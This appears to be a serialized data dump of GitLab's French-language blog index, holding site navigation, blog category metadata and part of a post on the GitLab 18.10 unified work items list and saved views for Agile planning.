[{"data":1,"prerenderedAt":1255},["ShallowReactive",2],{"/fr-fr/blog":3,"navigation-fr-fr":20,"banner-fr-fr":425,"footer-fr-fr":435,"blogCategories-fr-fr":645,"relatedBlogPosts-fr-fr":790,"mainFeaturedPost-fr-fr":1211,"recentFeaturedPosts-fr-fr":1216,"recentPosts-fr-fr":1232},{"id":4,"title":5,"body":6,"category":6,"config":7,"content":9,"description":6,"extension":11,"meta":12,"navigation":13,"path":14,"seo":15,"slug":6,"stem":18,"testContent":6,"type":6,"__hash__":19},"pages/fr-fr/blog/index.yml","",null,{"template":8},"BlogHome",{"title":10},"GitLab Blog","yml",{},true,"/fr-fr/blog",{"title":16,"description":17},"Blog GitLab France","Guides, tutoriels et actualités DevSecOps sont disponibles sur notre blog. Créez, testez et déployez des logiciels sécurisés plus rapidement !","fr-fr/blog/index","gjUGUHqQ_UncK_g07iIr8YwLNdA7P3yLm1l4CpvRsKU",{"data":21},{"logo":22,"freeTrial":27,"sales":32,"login":37,"items":42,"search":352,"minimal":387,"duo":406,"pricingDeployment":415},{"config":23},{"href":24,"dataGaName":25,"dataGaLocation":26},"/fr-fr/","gitlab logo","header",{"text":28,"config":29},"Commencer un essai gratuit",{"href":30,"dataGaName":31,"dataGaLocation":26},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/fr-fr&glm_content=default-saas-trial/","free trial",{"text":33,"config":34},"Contacter l'équipe commerciale",{"href":35,"dataGaName":36,"dataGaLocation":26},"/fr-fr/sales/","sales",{"text":38,"config":39},"Connexion",{"href":40,"dataGaName":41,"dataGaLocation":26},"https://gitlab.com/users/sign_in/","sign in",[43,70,167,172,273,333],{"text":44,"config":45,"cards":47},"Plateforme",{"dataNavLevelOne":46},"platform",[48,54,62],{"title":44,"description":49,"link":50},"La plateforme d'orchestration intelligente pour le DevSecOps",{"text":51,"config":52},"Découvrir notre plateforme",{"href":53,"dataGaName":46,"dataGaLocation":26},"/fr-fr/platform/",{"title":55,"description":56,"link":57},"GitLab Duo Agent Platform","L'IA agentique pour l'ensemble du cycle de développement logiciel",{"text":58,"config":59},"Découvrir GitLab Duo",{"href":60,"dataGaName":61,"dataGaLocation":26},"/fr-fr/gitlab-duo-agent-platform/","gitlab duo agent platform",{"title":63,"description":64,"link":65},"Choisir GitLab","Découvrez les principales raisons pour lesquelles les entreprises choisissent GitLab",{"text":66,"config":67},"En savoir plus",{"href":68,"dataGaName":69,"dataGaLocation":26},"/fr-fr/why-gitlab/","why gitlab",{"text":71,"left":13,"config":72,"link":74,"lists":78,"footer":149},"Produit",{"dataNavLevelOne":73},"solutions",{"text":75,"config":76},"Voir toutes les solutions",{"href":77,"dataGaName":73,"dataGaLocation":26},"/fr-fr/solutions/",[79,104,127],{"title":80,"description":81,"link":82,"items":87},"Automatisation","CI/CD et automatisation pour accélérer le déploiement",{"config":83},{"icon":84,"href":85,"dataGaName":86,"dataGaLocation":26},"AutomatedCodeAlt","/fr-fr/solutions/delivery-automation/","automated software delivery",[88,92,95,100],{"text":89,"config":90},"CI/CD",{"href":91,"dataGaLocation":26,"dataGaName":89},"/fr-fr/solutions/continuous-integration/",{"text":55,"config":93},{"href":60,"dataGaLocation":26,"dataGaName":94},"gitlab duo agent platform - product menu",{"text":96,"config":97},"Gestion du code source",{"href":98,"dataGaLocation":26,"dataGaName":99},"/fr-fr/solutions/source-code-management/","Source Code Management",{"text":101,"config":102},"Livraison de logiciels automatisée",{"href":85,"dataGaLocation":26,"dataGaName":103},"Automated software delivery",{"title":105,"description":106,"link":107,"items":112},"Sécurité","Livrez du code plus rapidement sans compromettre la sécurité",{"config":108},{"href":109,"dataGaName":110,"dataGaLocation":26,"icon":111},"/fr-fr/solutions/application-security-testing/","security and compliance","ShieldCheckLight",[113,117,122],{"text":114,"config":115},"Tests de sécurité des applications",{"href":109,"dataGaName":116,"dataGaLocation":26},"Application security testing",{"text":118,"config":119},"Sécurité de la chaîne d'approvisionnement logicielle",{"href":120,"dataGaLocation":26,"dataGaName":121},"/fr-fr/solutions/supply-chain/","Software supply chain security",{"text":123,"config":124},"Conformité logicielle",{"href":125,"dataGaName":126,"dataGaLocation":26},"/fr-fr/solutions/software-compliance/","Software Compliance",{"title":128,"link":129,"items":134},"Mesures",{"config":130},{"icon":131,"href":132,"dataGaName":133,"dataGaLocation":26},"DigitalTransformation","/fr-fr/solutions/visibility-measurement/","visibility and measurement",[135,139,144],{"text":136,"config":137},"Visibilité et mesures",{"href":132,"dataGaLocation":26,"dataGaName":138},"Visibility and Measurement",{"text":140,"config":141},"Gestion de la chaîne de valeur",{"href":142,"dataGaLocation":26,"dataGaName":143},"/fr-fr/solutions/value-stream-management/","Value Stream Management",{"text":145,"config":146},"Données d'analyse et informations clés",{"href":147,"dataGaLocation":26,"dataGaName":148},"/fr-fr/solutions/analytics-and-insights/","Analytics and insights",{"title":150,"items":151},"GitLab pour",[152,157,162],{"text":153,"config":154},"Entreprises",{"href":155,"dataGaLocation":26,"dataGaName":156},"/fr-fr/enterprise/","enterprise",{"text":158,"config":159},"PME",{"href":160,"dataGaLocation":26,"dataGaName":161},"/fr-fr/small-business/","small business",{"text":163,"config":164},"Secteur public",{"href":165,"dataGaLocation":26,"dataGaName":166},"/fr-fr/solutions/public-sector/","public sector",{"text":168,"config":169},"Tarifs",{"href":170,"dataGaName":171,"dataGaLocation":26,"dataNavLevelOne":171},"/fr-fr/pricing/","pricing",{"text":173,"config":174,"link":176,"lists":180,"feature":260},"Ressources",{"dataNavLevelOne":175},"resources",{"text":177,"config":178},"Afficher toutes les ressources",{"href":179,"dataGaName":175,"dataGaLocation":26},"/fr-fr/resources/",[181,214,232],{"title":182,"items":183},"Premiers pas",[184,189,194,199,204,209],{"text":185,"config":186},"Installation",{"href":187,"dataGaName":188,"dataGaLocation":26},"/fr-fr/install/","install",{"text":190,"config":191},"Guides de démarrage",{"href":192,"dataGaName":193,"dataGaLocation":26},"/fr-fr/get-started/","quick setup checklists",{"text":195,"config":196},"Apprentissage",{"href":197,"dataGaLocation":26,"dataGaName":198},"https://university.gitlab.com/","learn",{"text":200,"config":201},"Documentation sur le produit",{"href":202,"dataGaName":203,"dataGaLocation":26},"https://docs.gitlab.com/","product documentation",{"text":205,"config":206},"Vidéos sur les bonnes pratiques",{"href":207,"dataGaName":208,"dataGaLocation":26},"/fr-fr/getting-started-videos/","best practice videos",{"text":210,"config":211},"Intégrations",{"href":212,"dataGaName":213,"dataGaLocation":26},"/fr-fr/integrations/","integrations",{"title":215,"items":216},"Découvrir",[217,222,227],{"text":218,"config":219},"Témoignages clients",{"href":220,"dataGaName":221,"dataGaLocation":26},"/fr-fr/customers/","customer success stories",{"text":223,"config":224},"Blog",{"href":225,"dataGaName":226,"dataGaLocation":26},"/fr-fr/blog/","blog",{"text":228,"config":229},"Travail à distance",{"href":230,"dataGaName":231,"dataGaLocation":26},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"title":233,"items":234},"Connecter",[235,240,245,250,255],{"text":236,"config":237},"Services GitLab",{"href":238,"dataGaName":239,"dataGaLocation":26},"/fr-fr/services/","services",{"text":241,"config":242},"Communauté",{"href":243,"dataGaName":244,"dataGaLocation":26},"/community/","community",{"text":246,"config":247},"Forum",{"href":248,"dataGaName":249,"dataGaLocation":26},"https://forum.gitlab.com/","forum",{"text":251,"config":252},"Événements",{"href":253,"dataGaName":254,"dataGaLocation":26},"/events/","events",{"text":256,"config":257},"Partenaires",{"href":258,"dataGaName":259,"dataGaLocation":26},"/fr-fr/partners/","partners",{"backgroundColor":261,"textColor":262,"text":263,"image":264,"link":268},"#2f2a6b","#fff","L'avenir du développement logiciel. Tendances et perspectives.",{"altText":265,"config":266},"carte promo The Source",{"src":267},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758208064/dzl0dbift9xdizyelkk4.svg",{"text":269,"config":270},"Lire les articles les plus récents",{"href":271,"dataGaName":272,"dataGaLocation":26},"/fr-fr/the-source/","the source",{"text":274,"config":275,"lists":277},"Société",{"dataNavLevelOne":276},"company",[278],{"items":279},[280,285,291,293,298,303,308,313,318,323,328],{"text":281,"config":282},"À propos",{"href":283,"dataGaName":284,"dataGaLocation":26},"/fr-fr/company/","about",{"text":286,"config":287,"footerGa":290},"Carrières",{"href":288,"dataGaName":289,"dataGaLocation":26},"/jobs/","jobs",{"dataGaName":289},{"text":251,"config":292},{"href":253,"dataGaName":254,"dataGaLocation":26},{"text":294,"config":295},"Leadership",{"href":296,"dataGaName":297,"dataGaLocation":26},"/company/team/e-group/","leadership",{"text":299,"config":300},"Équipe",{"href":301,"dataGaName":302,"dataGaLocation":26},"/company/team/","team",{"text":304,"config":305},"Manuel",{"href":306,"dataGaName":307,"dataGaLocation":26},"https://handbook.gitlab.com/","handbook",{"text":309,"config":310},"Relations avec les investisseurs",{"href":311,"dataGaName":312,"dataGaLocation":26},"https://ir.gitlab.com/","investor relations",{"text":314,"config":315},"Centre de confiance",{"href":316,"dataGaName":317,"dataGaLocation":26},"/fr-fr/security/","trust center",{"text":319,"config":320},"Centre pour la transparence de l'IA",{"href":321,"dataGaName":322,"dataGaLocation":26},"/fr-fr/ai-transparency-center/","ai transparency center",{"text":324,"config":325},"Newsletter",{"href":326,"dataGaName":327,"dataGaLocation":26},"/company/contact/#contact-forms","newsletter",{"text":329,"config":330},"Presse",{"href":331,"dataGaName":332,"dataGaLocation":26},"/press/","press",{"text":334,"config":335,"lists":336},"Nous contacter",{"dataNavLevelOne":276},[337],{"items":338},[339,342,347],{"text":33,"config":340},{"href":35,"dataGaName":341,"dataGaLocation":26},"talk to sales",{"text":343,"config":344},"Portail d’assistance",{"href":345,"dataGaName":346,"dataGaLocation":26},"https://support.gitlab.com","support portal",{"text":348,"config":349},"Portail clients GitLab",{"href":350,"dataGaName":351,"dataGaLocation":26},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":353,"login":354,"suggestions":361},"Fermer",{"text":355,"link":356},"Pour rechercher des dépôts et des projets, connectez-vous à",{"text":357,"config":358},"gitlab.com",{"href":40,"dataGaName":359,"dataGaLocation":360},"search login","search",{"text":362,"default":363},"Suggestions",[364,366,371,373,378,383],{"text":55,"config":365},{"href":60,"dataGaName":55,"dataGaLocation":360},{"text":367,"config":368},"Suggestions de code (IA)",{"href":369,"dataGaName":370,"dataGaLocation":360},"/fr-fr/solutions/code-suggestions/","Code Suggestions (AI)",{"text":89,"config":372},{"href":91,"dataGaName":89,"dataGaLocation":360},{"text":374,"config":375},"GitLab sur AWS",{"href":376,"dataGaName":377,"dataGaLocation":360},"/fr-fr/partners/technology-partners/aws/","GitLab on AWS",{"text":379,"config":380},"GitLab sur Google Cloud ",{"href":381,"dataGaName":382,"dataGaLocation":360},"/fr-fr/partners/technology-partners/google-cloud-platform/","GitLab on Google Cloud",{"text":384,"config":385},"Pourquoi utiliser GitLab ?",{"href":68,"dataGaName":386,"dataGaLocation":360},"Why GitLab?",{"freeTrial":388,"mobileIcon":393,"desktopIcon":398,"secondaryButton":401},{"text":389,"config":390},"Commencer votre essai gratuit",{"href":391,"dataGaName":31,"dataGaLocation":392},"https://gitlab.com/-/trials/new/","nav",{"altText":394,"config":395},"Icône GitLab",{"src":396,"dataGaName":397,"dataGaLocation":392},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":394,"config":399},{"src":400,"dataGaName":397,"dataGaLocation":392},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":402,"config":403},"Commencer",{"href":404,"dataGaName":405,"dataGaLocation":392},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/fr-fr/get-started/","get started",{"freeTrial":407,"mobileIcon":411,"desktopIcon":413},{"text":408,"config":409},"En savoir plus sur GitLab Duo",{"href":60,"dataGaName":410,"dataGaLocation":392},"gitlab duo",{"altText":394,"config":412},{"src":396,"dataGaName":397,"dataGaLocation":392},{"altText":394,"config":414},{"src":400,"dataGaName":397,"dataGaLocation":392},{"freeTrial":416,"mobileIcon":421,"desktopIcon":423},{"text":417,"config":418},"Retour aux tarifs",{"href":170,"dataGaName":419,"dataGaLocation":392,"icon":420},"back to pricing","GoBack",{"altText":394,"config":422},{"src":396,"dataGaName":397,"dataGaLocation":392},{"altText":394,"config":424},{"src":400,"dataGaName":397,"dataGaLocation":392},{"title":426,"button":427,"config":432},"Découvrez comment l'IA agentique transforme la livraison logicielle",{"text":428,"config":429},"Regarder GitLab Transcend maintenant",{"href":430,"dataGaName":431,"dataGaLocation":26},"/fr-fr/events/transcend/virtual/","transcend event",{"layout":433,"icon":434,"disabled":13},"release","AiStar",{"data":436},{"text":437,"source":438,"edit":444,"contribute":449,"config":454,"items":459,"minimal":636},"Git est une marque déposée de Software Freedom Conservancy et notre utilisation de « GitLab » est sous licence",{"text":439,"config":440},"Afficher le code source de la page",{"href":441,"dataGaName":442,"dataGaLocation":443},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":445,"config":446},"Modifier cette page",{"href":447,"dataGaName":448,"dataGaLocation":443},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":450,"config":451},"Veuillez contribuer",{"href":452,"dataGaName":453,"dataGaLocation":443},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":455,"facebook":456,"youtube":457,"linkedin":458},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[460,483,537,569,604],{"title":44,"links":461,"subMenu":466},[462],{"text":463,"config":464},"Plateforme DevSecOps",{"href":53,"dataGaName":465,"dataGaLocation":443},"devsecops platform",[467],{"title":168,"links":468},[469,473,478],{"text":470,"config":471},"Voir les forfaits",{"href":170,"dataGaName":472,"dataGaLocation":443},"view plans",{"text":474,"config":475},"Pourquoi choisir GitLab Premium ?",{"href":476,"dataGaName":477,"dataGaLocation":443},"/fr-fr/pricing/premium/","why premium",{"text":479,"config":480},"Pourquoi choisir GitLab Ultimate ?",{"href":481,"dataGaName":482,"dataGaLocation":443},"/fr-fr/pricing/ultimate/","why ultimate",{"title":484,"links":485},"Solutions",[486,491,494,496,501,506,510,513,516,521,523,525,527,532],{"text":487,"config":488},"Transformation digitale",{"href":489,"dataGaName":490,"dataGaLocation":443},"/fr-fr/topics/digital-transformation/","digital transformation",{"text":492,"config":493},"Sécurité et conformité",{"href":109,"dataGaName":116,"dataGaLocation":443},{"text":101,"config":495},{"href":85,"dataGaName":86,"dataGaLocation":443},{"text":497,"config":498},"Développement agile",{"href":499,"dataGaName":500,"dataGaLocation":443},"/fr-fr/solutions/agile-delivery/","agile delivery",{"text":502,"config":503},"Transformation cloud",{"href":504,"dataGaName":505,"dataGaLocation":443},"/fr-fr/topics/cloud-native/","cloud transformation",{"text":507,"config":508},"SCM",{"href":98,"dataGaName":509,"dataGaLocation":443},"source code management",{"text":89,"config":511},{"href":91,"dataGaName":512,"dataGaLocation":443},"continuous integration & delivery",{"text":140,"config":514},{"href":142,"dataGaName":515,"dataGaLocation":443},"value stream management",{"text":517,"config":518},"GitOps",{"href":519,"dataGaName":520,"dataGaLocation":443},"/fr-fr/solutions/gitops/","gitops",{"text":153,"config":522},{"href":155,"dataGaName":156,"dataGaLocation":443},{"text":158,"config":524},{"href":160,"dataGaName":161,"dataGaLocation":443},{"text":163,"config":526},{"href":165,"dataGaName":166,"dataGaLocation":443},{"text":528,"config":529},"Formation",{"href":530,"dataGaName":531,"dataGaLocation":443},"/fr-fr/solutions/education/","education",{"text":533,"config":534},"Services financiers",{"href":535,"dataGaName":536,"dataGaLocation":443},"/fr-fr/solutions/finance/","financial services",{"title":173,"links":538},[539,541,544,546,549,551,554,557,559,561,563,565,567],{"text":185,"config":540},{"href":187,"dataGaName":188,"dataGaLocation":443},{"text":542,"config":543},"Guides de démarrage rapide",{"href":192,"dataGaName":193,"dataGaLocation":443},{"text":195,"config":545},{"href":197,"dataGaName":198,"dataGaLocation":443},{"text":200,"config":547},{"href":202,"dataGaName":548,"dataGaLocation":443},"docs",{"text":223,"config":550},{"href":225,"dataGaName":226},{"text":552,"config":553},"Histoires de réussite client",{"href":220,"dataGaLocation":443},{"text":555,"config":556},"Histoires de succès client",{"href":220,"dataGaName":221,"dataGaLocation":443},{"text":228,"config":558},{"href":230,"dataGaName":231,"dataGaLocation":443},{"text":236,"config":560},{"href":238,"dataGaName":239,"dataGaLocation":443},{"text":241,"config":562},{"href":243,"dataGaName":244,"dataGaLocation":443},{"text":246,"config":564},{"href":248,"dataGaName":249,"dataGaLocation":443},{"text":251,"config":566},{"href":253,"dataGaName":254,"dataGaLocation":443},{"text":256,"config":568},{"href":258,"dataGaName":259,"dataGaLocation":443},{"title":274,"links":570},[571,573,576,578,580,582,584,588,593,595,597,599],{"text":281,"config":572},{"href":283,"dataGaName":276,"dataGaLocation":443},{"text":574,"config":575},"Emplois",{"href":288,"dataGaName":289,"dataGaLocation":443},{"text":294,"config":577},{"href":296,"dataGaName":297,"dataGaLocation":443},{"text":299,"config":579},{"href":301,"dataGaName":302,"dataGaLocation":443},{"text":304,"config":581},{"href":306,"dataGaName":307,"dataGaLocation":443},{"text":309,"config":583},{"href":311,"dataGaName":312,"dataGaLocation":443},{"text":585,"config":586},"Sustainability",{"href":587,"dataGaName":585,"dataGaLocation":443},"/sustainability/",{"text":589,"config":590},"Diversité, inclusion et appartenance (DIB)",{"href":591,"dataGaName":592,"dataGaLocation":443},"/fr-fr/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":314,"config":594},{"href":316,"dataGaName":317,"dataGaLocation":443},{"text":324,"config":596},{"href":326,"dataGaName":327,"dataGaLocation":443},{"text":329,"config":598},{"href":331,"dataGaName":332,"dataGaLocation":443},{"text":600,"config":601},"Déclaration de transparence sur l'esclavage moderne",{"href":602,"dataGaName":603,"dataGaLocation":443},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"title":334,"links":605},[606,609,614,616,621,626,631],{"text":607,"config":608},"Échanger avec un expert",{"href":35,"dataGaName":36,"dataGaLocation":443},{"text":610,"config":611},"Aide",{"href":612,"dataGaName":613,"dataGaLocation":443},"https://support.gitlab.com/hc/en-us/articles/11626483177756-GitLab-Support","get help",{"text":348,"config":615},{"href":350,"dataGaName":351,"dataGaLocation":443},{"text":617,"config":618},"Statut",{"href":619,"dataGaName":620,"dataGaLocation":443},"https://status.gitlab.com/","status",{"text":622,"config":623},"Conditions d'utilisation",{"href":624,"dataGaName":625},"/terms/","terms of use",{"text":627,"config":628},"Déclaration de confidentialité",{"href":629,"dataGaName":630,"dataGaLocation":443},"/fr-fr/privacy/","privacy statement",{"text":632,"config":633},"Préférences en matière de cookies",{"dataGaName":634,"dataGaLocation":443,"id":635,"isOneTrustButton":13},"cookie preferences","ot-sdk-btn",{"items":637},[638,640,643],{"text":622,"config":639},{"href":624,"dataGaName":625,"dataGaLocation":443},{"text":641,"config":642},"Politique de confidentialité",{"href":629,"dataGaName":630,"dataGaLocation":443},{"text":632,"config":644},{"dataGaName":634,"dataGaLocation":443,"id":635,"isOneTrustButton":13},[646,661,674,687,700,713,726,739,752,764,776],{"id":647,"title":648,"body":6,"category":6,"config":649,"content":653,"description":6,"extension":11,"meta":655,"navigation":13,"path":656,"seo":657,"slug":6,"stem":659,"testContent":6,"type":6,"__hash__":660},"blogCategories/fr-fr/blog/categories/agile-planning.yml","Agile Planning",{"template":650,"slug":651,"hide":652},"BlogCategory","agile-planning",false,{"name":654},"Planification Agile",{},"/fr-fr/blog/categories/agile-planning",{"title":654,"description":658},"Browse articles related to Planification Agile on the GitLab Blog","fr-fr/blog/categories/agile-planning","eCqDMy3Tm86R-iWAOOuE2c44f2rrTYcCvzRSwiYWJ-M",{"id":662,"title":663,"body":6,"category":6,"config":664,"content":666,"description":6,"extension":11,"meta":668,"navigation":13,"path":669,"seo":670,"slug":6,"stem":672,"testContent":6,"type":6,"__hash__":673},"blogCategories/fr-fr/blog/categories/ai-ml.yml","Ai Ml",{"template":650,"slug":665,"hide":652},"ai-ml",{"name":667},"IA/ML",{},"/fr-fr/blog/categories/ai-ml",{"title":667,"description":671},"Browse articles related to IA/ML on the GitLab Blog","fr-fr/blog/categories/ai-ml","QEkTagmpAgYCe2FweiJ5Mdu-ASs4S6n27fkyyQbeQYw",{"id":675,"title":676,"body":6,"category":6,"config":677,"content":679,"description":6,"extension":11,"meta":681,"navigation":13,"path":682,"seo":683,"slug":6,"stem":685,"testContent":6,"type":6,"__hash__":686},"blogCategories/fr-fr/blog/categories/bulletin-board.yml","Bulletin Board",{"template":650,"slug":678,"hide":652},"bulletin-board",{"name":680},"Annonces",{},"/fr-fr/blog/categories/bulletin-board",{"title":680,"description":684},"Browse articles related to Annonces on the GitLab Blog","fr-fr/blog/categories/bulletin-board","CgolUFMrAPm4AqXQgRGM3NrXyeBTkTdY4L4PMTLX5ao",{"id":688,"title":689,"body":6,"category":6,"config":690,"content":692,"description":6,"extension":11,"meta":694,"navigation":13,"path":695,"seo":696,"slug":6,"stem":698,"testContent":6,"type":6,"__hash__":699},"blogCategories/fr-fr/blog/categories/customer-stories.yml","Customer Stories",{"template":650,"slug":691,"hide":652},"customer-stories",{"name":693},"Étude de cas",{},"/fr-fr/blog/categories/customer-stories",{"title":693,"description":697},"Browse articles related to Étude de cas on the GitLab Blog","fr-fr/blog/categories/customer-stories","oD7Yig6z8tF5C1WEm53kLdc1lXLLzK7gGqNML46MHqY",{"id":701,"title":702,"body":6,"category":6,"config":703,"content":705,"description":6,"extension":11,"meta":707,"navigation":13,"path":708,"seo":709,"slug":6,"stem":711,"testContent":6,"type":6,"__hash__":712},"blogCategories/fr-fr/blog/categories/devsecops.yml","Devsecops",{"template":650,"slug":704,"hide":652},"devsecops",{"name":706},"DevSecOps",{},"/fr-fr/blog/categories/devsecops",{"title":706,"description":710},"Browse articles related to DevSecOps on the GitLab Blog","fr-fr/blog/categories/devsecops","5CrNSdWz8mAe8HviC-_hzouJyiY3I5xVJekmz-uuxvM",{"id":714,"title":715,"body":6,"category":6,"config":716,"content":718,"description":6,"extension":11,"meta":720,"navigation":13,"path":721,"seo":722,"slug":6,"stem":724,"testContent":6,"type":6,"__hash__":725},"blogCategories/fr-fr/blog/categories/engineering.yml","Engineering",{"template":650,"slug":717,"hide":652},"engineering",{"name":719},"Ingénierie",{},"/fr-fr/blog/categories/engineering",{"title":719,"description":723},"Browse articles related to Ingénierie on the GitLab Blog","fr-fr/blog/categories/engineering","QgLZNRi6l7UgbB5sPrIeGPDanWZXCR-1E7llL3f2HA4",{"id":727,"title":728,"body":6,"category":6,"config":729,"content":731,"description":6,"extension":11,"meta":733,"navigation":13,"path":734,"seo":735,"slug":6,"stem":737,"testContent":6,"type":6,"__hash__":738},"blogCategories/fr-fr/blog/categories/news.yml","News",{"template":650,"slug":730,"hide":652},"news",{"name":732},"Actualités",{},"/fr-fr/blog/categories/news",{"title":732,"description":736},"Browse articles related to Actualités on the GitLab Blog","fr-fr/blog/categories/news","QZmlZtD0CUGmknioTqq1c_83S87r3pvABIaaQlQzRzM",{"id":740,"title":741,"body":6,"category":6,"config":742,"content":744,"description":6,"extension":11,"meta":746,"navigation":13,"path":747,"seo":748,"slug":6,"stem":750,"testContent":6,"type":6,"__hash__":751},"blogCategories/fr-fr/blog/categories/open-source.yml","Open Source",{"template":650,"slug":743,"hide":652},"open-source",{"name":745},"Open source",{},"/fr-fr/blog/categories/open-source",{"title":745,"description":749},"Browse articles related to Open source on the GitLab Blog","fr-fr/blog/categories/open-source","rj3ZmgYeIL4rq70hMj1N46cv3zwho00yhlPs_8_a4zo",{"id":753,"title":754,"body":6,"category":6,"config":755,"content":757,"description":6,"extension":11,"meta":758,"navigation":13,"path":759,"seo":760,"slug":6,"stem":762,"testContent":6,"type":6,"__hash__":763},"blogCategories/fr-fr/blog/categories/product.yml","Product",{"template":650,"slug":756,"hide":652},"product",{"name":71},{},"/fr-fr/blog/categories/product",{"title":71,"description":761},"Browse articles related to Produit on the GitLab Blog","fr-fr/blog/categories/product","xnMpk_LeB1cHpmZfK2kjmim_7OxrgcGuNf716Rbj6eE",{"id":765,"title":766,"body":6,"category":6,"config":767,"content":769,"description":6,"extension":11,"meta":770,"navigation":13,"path":771,"seo":772,"slug":6,"stem":774,"testContent":6,"type":6,"__hash__":775},"blogCategories/fr-fr/blog/categories/security.yml","Security",{"template":650,"slug":768,"hide":652},"security",{"name":105},{},"/fr-fr/blog/categories/security",{"title":105,"description":773},"Browse articles related to Sécurité on the GitLab Blog","fr-fr/blog/categories/security","w53e73P2QHMFJINqvUAC204SXUgtVy7XBivdu5WQyqo",{"id":777,"title":778,"body":6,"category":6,"config":779,"content":781,"description":6,"extension":11,"meta":784,"navigation":13,"path":785,"seo":786,"slug":6,"stem":788,"testContent":6,"type":6,"__hash__":789},"blogCategories/fr-fr/blog/categories/security-labs.yml","Security Labs",{"template":650,"isCustomCategory":13,"slug":780,"hide":652},"security-labs",{"name":782,"description":783},"Recherche en sécurité","Learn about cybersecurity trends, best practices, and third-party threats to secure your code and digital infrastructure.",{},"/fr-fr/blog/categories/security-labs",{"title":782,"description":787},"Browse articles related to Recherche en sécurité on the GitLab Blog","fr-fr/blog/categories/security-labs","aOuaAxJhYhLDekH7XHvq20ksx0tstQVafXlkstDMws8",[791,838,880,919,965,1002,1045,1086,1124,1159,1195],{"category":654,"slug":651,"posts":792},[793,808,823],{"content":794,"config":805},{"body":795,"category":651,"tags":796,"date":799,"title":800,"description":801,"authors":802,"heroImage":804},"La planification Agile de GitLab a fait l'objet d'une mise à niveau significative. À partir de la version GitLab 18.10, la nouvelle liste des éléments de travail et les vues enregistrées réunissent deux fonctionnalités très demandées : une liste unique qui combine tous les types d'éléments de travail, et des vues enregistrées qui vous permettent de sauvegarder des configurations de liste personnalisées et d'y revenir.\n\nCes fonctionnalités permettent de gagner du temps et d'économiser des efforts :\n\n* En éliminant la configuration répétitive des filtres pour les workflows courants\n* En garantissant la cohérence dans la façon dont les équipes visualisent et évaluent le travail\n* En facilitant les rapports standardisés et les vérifications de statut\n\n## Que sont les éléments de travail ?\n\nAuparavant, les epics et les tickets se trouvaient sur des pages séparées, ce qui obligeait les utilisateurs à naviguer d'une page à l'autre. La liste des éléments de travail combine désormais les epics, les tickets et d'autres éléments de travail dans une liste unique et unifiée, afin que les équipes n'aient plus à basculer entre les pages selon les éléments de travail.\n\nCette liste servira également de base pour des fonctionnalités de planification plus approfondies à venir. Le regroupement de tous les types d'éléments de travail en un seul endroit ouvre la voie à des vues hiérarchiques (comme une vue table), qui faciliteront la visualisation des relations et de la structure entre les epics, les tickets et d'autres éléments en un coup d'œil.\n\nAu-delà des vues de liste et d'éléments classés selon une hiérarchie, nous prévoyons également de consolider d'autres workflows courants, comme les tableaux, dans cette expérience unifiée. Toutes vos vues de planification essentielles seront disponibles en un seul endroit et pourront être partagées avec votre équipe via des vues enregistrées, sans besoin de naviguer dans différentes parties du produit.\n\nVous vous demandez peut-être quels sont ces « éléments de travail », et s'il s'agit de tickets. Le terme « ticket » ne correspond pas à notre vision future. Vous pourrez bientôt entièrement configurer vos types d'éléments de travail, y compris leurs noms, pour qu'ils correspondent à la planification de votre organisation. Limiter l'expérience à une terminologie legacy irait à l'encontre de cette flexibilité. Les «  éléments de travail » constituent la base d'un modèle que vous pouvez personnaliser.\n\n![Vue de la liste des éléments de travail](https://res.cloudinary.com/about-gitlab-com/image/upload/v1774028606/ae9ugijwjsyv3ktiks0n.png)\n\n## Qu'est-ce qui a conduit à cette évolution vers les éléments de travail ?\n\nEn 2024, nous avons partagé notre vision d'une [nouvelle expérience de planification Agile dans GitLab](https://about.gitlab.com/blog/first-look-the-new-agile-planning-experience-in-gitlab/), alimentée par le framework des éléments de travail. Cet article décrivait le problème principal : les epics et les tickets sont des expériences séparées et créent des frictions pour les équipes qui s'attendent à une fonctionnalité cohérente entre les objets de planification. Le framework des éléments de travail a permis d'apporter une solution : une architecture unifiée conçue pour offrir plus de cohérence et de nouvelles fonctionnalités au sein des outils de planification de GitLab. La liste des éléments de travail et les vues enregistrées constituent une étape de ce parcours.\n\n## Que sont les vues enregistrées ?\n\nLes vues enregistrées permettent aux utilisateurs de sauvegarder et de revenir à des configurations de liste personnalisées, avec filtres, ordre de tri et options d'affichage. L'objectif est de rendre les vérifications quotidiennes plus efficaces et de prendre en charge des affichages cohérents et standardisés du travail au sein d'une équipe.\n\n![Vue enregistrée](https://res.cloudinary.com/about-gitlab-com/image/upload/v1774028606/izmg27ckskpkdofgvonr.png)\n\n## Perspectives\n\nPour comprendre pourquoi nous effectuons ces changements, il convient d'abord de rappeler notre objectif.\n\nNous avons pour objectif non seulement d'offrir une liste d'éléments de travail, mais aussi une expérience de planification qui vous permet de passer facilement entre différents types de vues (liste, tableau, table et plus encore) tout en conservant votre portée de filtre actuelle.\n\nAssociez cette fonctionnalité aux vues enregistrées, et vous pouvez créer une vue dédiée pour chacun de vos workflows : planification d'itération, raffinement du backlog, planification au niveau du portefeuille avec des vues de table imbriquées, et plus encore.\n\nChaque vue est prête à l'emploi et cohérente dans la façon dont elle filtre et affiche le travail, et elle peut être partagée avec votre équipe. Ce framework prépare également le terrain pour des fonctionnalités plus puissantes à l'avenir, notamment la prise en charge complète des swimlanes pour tout attribut d'élément de travail dans les tableaux.\n\nNous savons que les changements apportés aux outils que vous utilisez quotidiennement peuvent être perturbants. Les workflows que vous avez conçus 